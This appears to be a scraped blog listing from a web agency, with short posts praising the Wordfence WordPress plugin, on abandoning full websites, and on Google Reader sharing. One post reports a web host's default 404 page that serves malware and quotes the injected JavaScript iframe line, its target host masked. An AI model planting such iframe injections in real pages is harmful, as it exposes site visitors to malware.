We run about 40+ websites with WordPress, not including clients and security is always at the forefront of our concerns. We would like to take this opportunity to share with you the absolute best plugin for WordPress: Wordfence.
We have tried and tested so many security plugins, some of which are great at what they do: AntiVirus – SucuriScanner – Theme Authenticity Checker and much more – however no plugin goes as deeply and thoroughly as WordFence.Tweet This Post!
“Hey Harry, I think this one has got something – To be or not to be, that is the gazorninplat.” – An Infinite Number of Monkeys, Bob Newhart
If you love classic humor, you’ve probably heard this routine by Bob Newhart who imagined the daily routine of human supervisors in charge of an infinite number of monkeys, who according to the celebrated theorem, if given enough time would write all the greats literary works of all time.
Unfortunately, these typing monkeys seem to have found new jobs, mostly with technical support teams at some of America’s top Web Providers. We deal with a number of hosting services and had a bit of a problem of late: a default 404 page that distributes malware.
Our provider, which we shall not name at this point, has many servers one of which hosts over 90K websites. Within this server, is a directory no client can access, it is the /error/ directory, and it is here that a custom 404 page with an iframe that calls up a page from the infamous SearchMagnified site.
document.write('<iframe style="width: 100%; height: 100%; border: 0;" src="http://******.com/?dn=' + location.hostname + '&pid=******"></iframe>');Tweet This Post!
Seriously, forget about it. No really, don’t even bother. As today’s web evolves, you’re better off creating your own one or two page site with a blogging platform with links to relevant social media where you’ll do most of your work anyway. Most important of all, provide useful and basic information that can be easily accessed with a mobile device !
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Want to publish more up to date tweets automatically from your Google News Reader? We’ve set up some great Google News Reader accounts for clients, but one of them wanted to know how she could have selected articles appear automatically in her twitter feed? Well, here’s the perfect article on the subject: How to Share Articles in Google Reader on Twitter.
In fact, we should be doing this!Tweet This Post!
What We Tell The World
- About this server
- The hostname: websiteforensics.com
- This server address: 18.104.22.168
What You Tell The World
- Your IP address: 22.214.171.124
- Your hostname: ec2-107-20-129-212.compute-1.amazonaws.com
- Your country domain: .com
- You came from:
- Requested URL: /page/2/
- Browser INFO: CCBot/2.0